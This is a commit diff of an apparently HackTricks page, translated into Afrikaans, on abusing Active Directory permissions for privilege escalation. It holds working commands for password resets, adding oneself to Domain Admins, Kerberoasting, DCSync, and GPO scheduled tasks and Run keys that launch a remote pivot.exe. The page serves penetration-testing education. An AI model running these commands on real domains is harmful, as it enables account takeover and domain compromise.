Translated ['src/windows-hardening/active-directory-methodology/acl-pers

This commit is contained in:
Translator 2025-09-29 23:01:03 +00:00
parent 39606f6aff
commit 97d5cdfee7
3 changed files with 145 additions and 366 deletions

View File

@ -238,7 +238,6 @@
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) - [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**Hierdie blad is hoofsaaklik 'n opsomming van die tegnieke van** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **en** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Vir meer besonderhede, kyk na die oorspronklike artikels.** **Hierdie bladsy is meestal 'n opsomming van die tegnieke van** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **en** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Vir meer besonderhede, kyk na die oorspronklike artikels.**
## BadSuccessor ## BadSuccessor
@ -13,30 +13,45 @@ BadSuccessor.md
## **GenericAll Rights on User** ## **GenericAll Rights on User**
Hierdie voorreg gee 'n aanvaller volle beheer oor 'n geteikende gebruikersrekening. Sodra `GenericAll` regte bevestig is met die `Get-ObjectAcl`-opdrag, kan 'n aanvaller: Hierdie voorreg gee 'n aanvaller volle beheer oor 'n geteikende gebruikersrekening. Sodra `GenericAll` regte bevestig is met die `Get-ObjectAcl` bevel, kan 'n aanvaller:
- **Verander die geteikende gebruiker se wagwoord**: Deur `net user <username> <password> /domain` te gebruik, kan die aanvaller die gebruiker se wagwoord terugstel. - **Verander die teikengebruiker se wagwoord**: Deur `net user <username> <password> /domain` te gebruik, kan die aanvaller die gebruiker se wagwoord terugstel.
- **Targeted Kerberoasting**: Ken 'n SPN toe aan die gebruiker se rekening om dit kerberoastable te maak, en gebruik dan Rubeus en targetedKerberoast.py om die ticket-granting ticket (TGT) hashes te onttrek en te probeer kraak. - Vanaf Linux kan jy dieselfde oor SAMR met Samba `net rpc` doen:
```bash
# Reset target user's password over SAMR from Linux
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
```
- **As die rekening gedeaktiveer is, maak die UAC-vlag skoon**: `GenericAll` laat toe om `userAccountControl` te wysig. Vanaf Linux kan BloodyAD die `ACCOUNTDISABLE`-vlag verwyder:
```bash
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
```
- **Targeted Kerberoasting**: Ken 'n SPN toe aan die gebruiker se rekening om dit kerberoastable te maak, en gebruik dan Rubeus en targetedKerberoast.py om die ticket-granting ticket (TGT) hashes uit te trek en te probeer kraak.
```bash ```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"} Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap .\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
``` ```
- **Targeted ASREPRoasting**: Skakel pre-authentication uit vir die gebruiker, wat hul rekening kwesbaar maak vir ASREPRoasting. - **Gerigte ASREPRoasting**: Deaktiveer pre-authentication vir die gebruiker, sodat hul rekening kwesbaar is vir ASREPRoasting.
```bash ```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304} Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
``` ```
## **GenericAll Regte op Groep** - **Shadow Credentials / Key Credential Link**: Met `GenericAll` op 'n gebruiker kan jy 'n sertifikaat-gebaseerde credential byvoeg en as hulle aanmeld sonder om hul wagwoord te verander. Sien:
Hierdie voorreg stel 'n aanvaller in staat om groepslidmaatskappe te manipuleer as hulle `GenericAll`-regte op 'n groep soos `Domain Admins` het. Nadat hulle die groep se distinguished name met `Get-NetGroup` geïdentifiseer het, kan die aanvaller: {{#ref}}
shadow-credentials.md
{{#endref}}
- **Voeg hulself by die `Domain Admins`-groep**: Dit kan gedoen word met direkte opdragte of deur modules soos Active Directory of PowerSploit te gebruik. ## **GenericAll Regte op 'n groep**
Hierdie bevoegdheid laat 'n aanvaller toe om groepslidmaatskap te manipuleer as hulle `GenericAll` regte op 'n groep soos `Domain Admins` het. Nadat hulle die groep se distinguished name met `Get-NetGroup` geïdentifiseer het, kan die aanvaller:
- **Voeg hulself by die Domain Admins-groep**: Dit kan gedoen word via direkte opdragte of deur modules soos Active Directory of PowerSploit te gebruik.
```bash ```bash
net group "domain admins" spotless /add /domain net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
``` ```
- Vanaf Linux kan jy ook BloodyAD gebruik om jouself by ewekansige groepe te voeg wanneer jy GenericAll/Write-lidmaatskap oor hulle het. As die teikengroep in “Remote Management Users” genesteer is, sal jy onmiddellik WinRM-toegang kry op hosts wat daardie groep eerbiedig: - Vanaf Linux kan jy ook BloodyAD gebruik om jouself by arbitrêre groepe te voeg wanneer jy GenericAll/Write-lidmaatskap oor hulle het. As die teikengroep geneste is in “Remote Management Users”, sal jy onmiddellik WinRM-toegang kry op hosts wat daardie groep in ag neem:
```bash ```bash
# Linux tooling example (BloodyAD) to add yourself to a target group # Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user> bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
``` ```
## **GenericAll / GenericWrite / Write on Computer/User** ## **GenericAll / GenericWrite / Write on Computer/User**
Om hierdie voorregte op 'n rekenaarobjek of 'n gebruikersrekening te hê, laat toe: Om hierdie voorregte op 'n rekenaarobjek of 'n gebruikersrekening te hê, maak dit moontlik om:
- **Kerberos Resource-based Constrained Delegation**: Laat toe om 'n rekenaarobjek oor te neem. - **Kerberos Resource-based Constrained Delegation**: Maak dit moontlik om 'n rekenaarobjek oor te neem.
- **Shadow Credentials**: Gebruik hierdie tegniek om as 'n rekenaar of gebruikersrekening op te tree deur die voorregte te misbruik om shadow credentials te skep. - **Shadow Credentials**: Gebruik hierdie tegniek om 'n rekenaar- of gebruikersrekening te imiteer deur die voorregte te misbruik om shadow credentials te skep.
## **WriteProperty on Group** ## **WriteProperty on Group**
As 'n gebruiker `WriteProperty`-regte het op alle objekte vir 'n spesifieke groep (bv. `Domain Admins`), kan hulle: As 'n gebruiker `WriteProperty` regte het op alle objekte vir 'n spesifieke groep (bv. `Domain Admins`), kan hulle:
- **Voeg hulself by die Domain Admins Group**: Deur die `net user` en `Add-NetGroupUser` opdragte te kombineer, laat hierdie metode privilege escalation binne die domein toe. - **Voeg hulself by die Domain Admins Group**: Deur die `net user` en `Add-NetGroupUser` opdragte te kombineer, maak hierdie metode privilege escalation binne die domein moontlik.
```bash ```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
``` ```
## **Self (Self-Membership) on Group** ## **Self (Self-Membership) op Groep**
Hierdie voorreg stel aanvalers in staat om hulself by spesifieke groepe te voeg, soos `Domain Admins`, deur opdragte te gebruik wat groeplidmaatskap direk manipuleer. Die volgende opdragreeks maak selftoevoeging moontlik: Hierdie voorreg stel aanvallers in staat om hulself by spesifieke groepe te voeg, soos `Domain Admins`, deur opdragte wat groepslidmaatskap direk manipuleer. Deur die volgende reeks opdragte te gebruik, kan aanvallers hulself byvoeg:
```bash ```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
``` ```
## **WriteProperty (Self-Membership)** ## **WriteProperty (Self-Membership)**
'n Gelykwaardige reg: dit stel aanvallers in staat om hulself direk by groepe te voeg deur die eienskappe van die groep te wysig as hulle die `WriteProperty` reg op daardie groepe het. Die bevestiging en uitvoering van hierdie reg word gedoen met: 'n Gelyksoortige voorreg: dit laat aanvallers toe om hulself direk by groepe te voeg deur groepseienskappe te wysig indien hulle die `WriteProperty`-reg op daardie groepe het. Die bevestiging en uitvoering van hierdie voorreg word met die volgende gedoen:
```bash ```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain net group "domain admins" spotless /add /domain
``` ```
## **ForceChangePassword** ## **ForceChangePassword**
Om die `ExtendedRight` op 'n gebruiker vir `User-Force-Change-Password` te hê, maak dit moontlik om wagwoorde terug te stel sonder om die huidige wagwoord te ken. Verifiëring van hierdie reg en die uitbuiting daarvan kan deur middel van PowerShell of alternatiewe opdragreël-gereedskap gedoen word, en bied verskeie metodes om 'n gebruiker se wagwoord te herstel, insluitend interaktiewe sessies en eenreël-opdragte vir nie-interaktiewe omgewings. Die opdragte wissel van eenvoudige PowerShell-aanroepe tot die gebruik van `rpcclient` op Linux, wat die veelsydigheid van aanvalsvektore demonstreer. Om die `ExtendedRight` op 'n gebruiker vir `User-Force-Change-Password` te hê, maak dit moontlik om wagwoorde te herstel sonder om die huidige wagwoord te ken. Die verifikasie van hierdie reg en die benutting daarvan kan deur PowerShell of alternatiewe opdragreël-gereedskap gedoen word, wat verskeie metodes bied om 'n gebruiker se wagwoord te herstel, insluitend interaktiewe sessies en one-liners vir nie-interaktiewe omgewings. Die opdragte wissel van eenvoudige PowerShell-aanroepe tot die gebruik van `rpcclient` op Linux, wat die veelsydigheid van aanvalvektore demonstreer.
```bash ```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose Set-DomainUserPassword -Identity delegate -Verbose
@ -87,7 +102,7 @@ rpcclient -U KnownUsername 10.10.10.192
``` ```
## **WriteOwner op Groep** ## **WriteOwner op Groep**
As 'n aanvaller ontdek dat hulle `WriteOwner`-regte oor 'n groep het, kan hulle die eienaarskap van daardie groep na hulself verander. Dit is veral ingrypend wanneer die betrokke groep `Domain Admins` is, aangesien die verandering van eienaarskap 'n breër beheer oor groepskenmerke en lidmaatskap moontlik maak. Die proses behels om die korrekte objek te identifiseer via `Get-ObjectAcl` en dan `Set-DomainObjectOwner` te gebruik om die eienaar te wysig, hetsy deur SID of naam. As 'n aanvaller ontdek dat hulle `WriteOwner`-regte oor 'n groep het, kan hulle die eienaarskap van die groep na hulself verander. Dit is veral betekenisvol wanneer die betrokke groep `Domain Admins` is, aangesien die verandering van eienaarskap wyer beheer oor groep-eienskappe en lidmaatskap moontlik maak. Die proses behels die identifisering van die korrekte objek via `Get-ObjectAcl` en dan die gebruik van `Set-DomainObjectOwner` om die eienaar te wysig, óf deur SID óf deur naam.
```bash ```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
``` ```
## **GenericWrite op Gebruiker** ## **GenericWrite op Gebruiker**
Hierdie toestemming laat 'n aanvaller toe om gebruiker-eienskappe te wysig. Spesifiek, met `GenericWrite`-toegang kan die aanvaller die pad van die aanmeldskrip van 'n gebruiker verander om 'n kwaadwillige skrip uit te voer wanneer die gebruiker aanmeld. Dit word bereik deur die `Set-ADObject`-opdrag te gebruik om die `scriptpath`-eienskap van die teiken-gebruiker op te dateer sodat dit na die aanvaller se skrip wys. Hierdie toestemming stel 'n aanvaller in staat om eienskappe van 'n gebruiker te wysig. Spesifiek, met `GenericWrite`-toegang kan die aanvaller die pad na die logon-skrip van 'n gebruiker verander om 'n kwaadwillige skrip by gebruiker-aanmelding uit te voer. Dit word bereik deur die `Set-ADObject`-opdrag te gebruik om die `scriptpath`-eienskap van die teiken-gebruiker by te werk sodat dit na die aanvaller se skrip wys.
```bash ```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
``` ```
## **GenericWrite on Group** ## **GenericWrite on Group**
Met hierdie voorreg kan aanvallers groepslidmaatskap manipuleer, soos om hulself of ander gebruikers by spesifieke groepe te voeg. Hierdie proses behels die skep van 'n credential object, die gebruik daarvan om gebruikers by 'n groep te voeg of te verwyder, en die verifikasie van die lidmaatskapveranderinge met PowerShell-opdragte. Met hierdie voorreg kan aanvallers groeplidmaatskap manipuleer, soos om hulself of ander gebruikers by spesifieke groepe te voeg. Hierdie proses behels die skep van 'n credential object, dit gebruik om gebruikers by 'n groep te voeg of te verwyder, en die lidmaatskapveranderinge te verifieer met PowerShell-opdragte.
```bash ```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
Get-DomainGroupMember -Identity "Group Name" | Select MemberName Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
``` ```
- Vanaf Linux kan Samba `net` lede byvoeg/verwyder wanneer jy `GenericWrite` op die groep het (nuttig wanneer PowerShell/RSAT nie beskikbaar is nie):
```bash
# Add yourself to the target group via SAMR
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
# Verify current members
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
```
## **WriteDACL + WriteOwner** ## **WriteDACL + WriteOwner**
Om 'n AD object te besit en `WriteDACL`-privilegies daarop te hê, stel 'n aanvaller in staat om hulself `GenericAll`-privilegies oor die object toe te ken. Dit word gedoen deur ADSI-manipulasie, wat volle beheer oor die object en die vermoë om sy groepslidmaatskappe te verander, toelaat. Desondanks bestaan daar beperkings wanneer hierdie privilegies probeer uitgebruik word met die Active Directory-module se `Set-Acl` / `Get-Acl` cmdlets. Om 'n AD-voorwerp te besit en `WriteDACL`-voorregte daarop te hê, stel 'n aanvaller in staat om vir homself `GenericAll`-voorregte oor die voorwerp te gee. Dit word bereik deur ADSI manipulation, wat volle beheer oor die voorwerp moontlik maak en die vermoë gee om die groepslidmaatskappe daarvan te wysig. Ten spyte hiervan bestaan daar beperkinge wanneer 'n mens probeer om hierdie voorregte te misbruik met behulp van die Active Directory-module se `Set-Acl` / `Get-Acl` cmdlets.
```bash ```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -119,64 +141,138 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges() $ADSI.psbase.commitchanges()
``` ```
## **Replisering op die Domein (DCSync)** ### WriteDACL/WriteOwner vinnige oorname (PowerView)
Die DCSync-aanval gebruik spesifieke repliseringspermisse op die domein om 'n Domain Controller na te boots en data, insluitend gebruikersbewyse, te sinkroniseer. Hierdie kragtige tegniek vereis permissies soos `DS-Replication-Get-Changes`, wat aanvallers toelaat om sensitiewe inligting uit die AD-omgewing te onttrek sonder direkte toegang tot 'n Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md) Wanneer jy `WriteOwner` en `WriteDacl` oor 'n gebruikers- of diensrekening het, kan jy volle beheer neem en die wagwoord daarvan terugstel met PowerView sonder om die ou wagwoord te ken:
```powershell
# Load PowerView
. .\PowerView.ps1
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a> # Grant yourself full control over the target object (adds GenericAll in the DACL)
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
### GPO-delegasie # Set a new password for the target principal
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
```
Aantekeninge:
- Dit mag nodig wees om eers die eienaar na jouself te verander as jy slegs `WriteOwner` het:
```powershell
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
```
- Valideer toegang met enige protokol (SMB/LDAP/RDP/WinRM) na 'n wagwoordherstel.
Gedelegeerde toegang om Group Policy Objects (GPOs) te bestuur kan beduidende sekuriteitsrisiko's inhou. Byvoorbeeld, as 'n gebruiker soos `offense\spotless` GPO-bestuursregte gedelegeer is, kan hulle voorregte hê soos **WriteProperty**, **WriteDacl**, en **WriteOwner**. Hierdie permissies kan vir kwaadwillige doeleindes misbruik word, soos geïdentifiseer met PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` ## **Replikasie op die domein (DCSync)**
### GPO-permissies opspoor Die DCSync-aanval maak gebruik van spesifieke replikasie-toestemmings op die domein om 'n Domain Controller na te boots en data te sinchroniseer, insluitend gebruikersbewyse. Hierdie kragtige tegniek benodig toestemmings soos `DS-Replication-Get-Changes`, waardeur aanvallers sensitiewe inligting uit die AD-omgewing kan onttrek sonder direkte toegang tot 'n Domeinbeheerder. [**Learn more about the DCSync attack here.**](../dcsync.md)
Om verkeerd gekonfigureerde GPOs te identifiseer, kan PowerSploit se cmdlets aan mekaar gekoppel word. Dit maak die ontdekking van GPOs wat 'n spesifieke gebruiker mag bestuur moontlik: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` ## GPO Delegering <a href="#gpo-delegation" id="gpo-delegation"></a>
**Rekenaars met 'n gegewe beleid toegepas**: Dit is moontlik om te bepaal op watter rekenaars 'n spesifieke GPO van toepassing is, wat help om die omvang van die potensiële impak te verstaan. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` ### GPO Delegering
**Beleid(e) toegepas op 'n gegewe rekenaar**: Om te sien watter beleide op 'n bepaalde rekenaar toegepas word, kan opdragte soos `Get-DomainGPO` gebruik word. Gedelegeerde toegang om Group Policy Objects (GPOs) te bestuur kan aansienlike sekuriteitsrisiko's inhou. Byvoorbeeld, indien 'n gebruiker soos `offense\spotless` GPO-bestuursregte toegekry word, mag hulle voorregte hê soos **WriteProperty**, **WriteDacl**, en **WriteOwner**. Hierdie toestemmings kan vir kwaadwillige doeleindes misbruik word, soos geïdentifiseer met PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**OUs met 'n gegewe beleid toegepas**: Die identifisering van organisatoriese eenhede (OUs) wat deur 'n gegewe beleid geraak word, kan gedoen word met `Get-DomainOU`. ### GPO-toestemmings opspoor
Jy kan ook die instrument [**GPOHound**](https://github.com/cogiceo/GPOHound) gebruik om GPOs te opspoor en probleme daarin te vind. Om verkeerd-gekonfigureerde GPOs te identifiseer, kan PowerSploit se cmdlets aan mekaar gekoppel word. Dit maak dit moontlik om GPOs te ontdek wat 'n spesifieke gebruiker regte gee om te bestuur: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**Rekenaars met 'n gegewe beleid toegepas**: Dit is moontlik om te bepaal watter rekenaars 'n spesifieke GPO raak, wat help om die omvang van die potensiële impak te verstaan. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Beleide toegepas op 'n gegewe rekenaar**: Om te sien watter beleide op 'n bepaalde rekenaar toegepas is, kan kommandos soos `Get-DomainGPO` gebruik word.
**OU's met 'n gegewe beleid toegepas**: Identifisering van organisasie-eenhede (OUs) wat deur 'n gegewe beleid geraak word, kan gedoen word met `Get-DomainOU`.
Jy kan ook die instrument [**GPOHound**](https://github.com/cogiceo/GPOHound) gebruik om GPOs te enumereer en probleme daarin te vind.
### Misbruik GPO - New-GPOImmediateTask ### Misbruik GPO - New-GPOImmediateTask
Verkeerd gekonfigureerde GPOs kan uitgebuit word om kode uit te voer, byvoorbeeld deur 'n onmiddellike geskeduleerde taak te skep. Dit kan gebruik word om 'n gebruiker by die plaaslike administrators-groep op aangetaste masjiene te voeg, wat die voorregte aansienlik verhoog: Verkeerd-geconfigureerde GPO's kan uitgebuit word om kode uit te voer, byvoorbeeld deur 'n onmiddellike geskeduleerde taak te skep. Dit kan gebruik word om 'n gebruiker by die plaaslike administratorsgroep op geraakte masjiene te voeg, wat bevoegdhede aansienlik verhoog:
```bash ```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
``` ```
### GroupPolicy module - Abuse GPO ### GroupPolicy module - Abuse GPO
Die GroupPolicy module, as dit geïnstalleer is, maak die aanmaak en koppel van nuwe GPOs moontlik, en die instel van voorkeure soos registry values om backdoors op aangetaste rekenaars uit te voer. Hierdie metode vereis dat die GPO opgedateer word en dat 'n gebruiker by die rekenaar aanmeld vir uitvoering: Die GroupPolicy module, indien geïnstalleer, maak dit moontlik om nuwe GPOs te skep en te koppel, en voorkeurinstellings soos registry values te stel om backdoors op geaffekteerde rekenaars uit te voer. Hierdie metode vereis dat die GPO opgedateer word en 'n gebruiker by die rekenaar aanmeld vir uitvoering:
```bash ```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
``` ```
### SharpGPOAbuse - Abuse GPO ### SharpGPOAbuse - Misbruik GPO
SharpGPOAbuse bied 'n metode om bestaande GPOs te misbruik deur take by te voeg of instellings te wysig sonder die behoefte om nuwe GPOs te skep. Hierdie tool vereis dat bestaande GPOs gewysig word of dat RSAT tools gebruik word om nuwe GPOs te skep voordat veranderinge toegepas word: SharpGPOAbuse bied 'n metode om bestaande GPOs te misbruik deur take by te voeg of instellings te wysig sonder die behoefte om nuwe GPOs te skep. Hierdie hulpmiddel vereis die wysiging van bestaande GPOs of die gebruik van RSAT tools om nuwe GPOs te skep voordat veranderinge toegepas word:
```bash ```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
``` ```
### Beleid-opdatering afdwing ### Dwing beleidsopdatering
GPO-opdaterings gebeur gewoonlik ongeveer elke 90 minute. Om hierdie proses te versnel, veral nadat 'n verandering geïmplementeer is, kan die `gpupdate /force`-opdrag op die teikenrekenaar gebruik word om 'n onmiddellike beleidsopdatering af te dwing. Hierdie opdrag verseker dat enige wysigings aan GPOs toegepas word sonder om vir die volgende outomatiese opdateringsiklus te wag. GPO-opdaterings gebeur gewoonlik ongeveer elke 90 minute. Om hierdie proses te versnel, veral na die aanbring van 'n verandering, kan die `gpupdate /force` opdrag op die teikenrekenaar gebruik word om 'n onmiddellike beleidsopdatering af te dwing. Hierdie opdrag verseker dat enige wysigings aan GPOs toegepas word sonder om op die volgende outomatiese opdateringsiklus te wag.
### Onder die enjinkap ### Onder die kap
By inspeksie van die Geskeduleerde Take vir 'n gegewe GPO, soos die `Misconfigured Policy`, kan die toevoeging van take soos `evilTask` bevestig word. Hierdie take word geskep deur skripte of opdragreël-gereedskap wat daarop gemik is om stelselgedrag te verander of om voorregte te eskaleer. By inspeksie van die Scheduled Tasks vir 'n gegewe GPO, soos die `Misconfigured Policy`, kan die toevoeging van take soos `evilTask` bevestig word. Hierdie take word geskep deur skripte of opdragreëlinstrumente wat daarop gemik is om stelselgedrag te verander of privilegies te verhoog.
Die struktuur van die taak, soos getoon in die XML-konfigurasielêer wat deur `New-GPOImmediateTask` gegenereer is, beskryf die besonderhede van die geskeduleerde taak — insluitend die opdrag wat uitgevoer moet word en die triggers daarvan. Hierdie lêer verteenwoordig hoe geskeduleerde take binne GPOs gedefinieer en bestuur word, en bied 'n metode om arbitrêre opdragte of skripte as deel van beleidsafdwinging uit te voer. Die struktuur van die taak, soos getoon in die XML-konfigurasielêer wat deur `New-GPOImmediateTask` gegenereer word, skets die besonderhede van die scheduled task - insluitend die opdrag wat uitgevoer gaan word en sy triggers. Hierdie lêer verteenwoordig hoe scheduled tasks binne GPOs gedefinieer en bestuur word, en bied 'n metode om arbitrêre opdragte of skripte uit te voer as deel van beleidsdwinging.
### Gebruikers en Groepe ### Gebruikers en Groepe
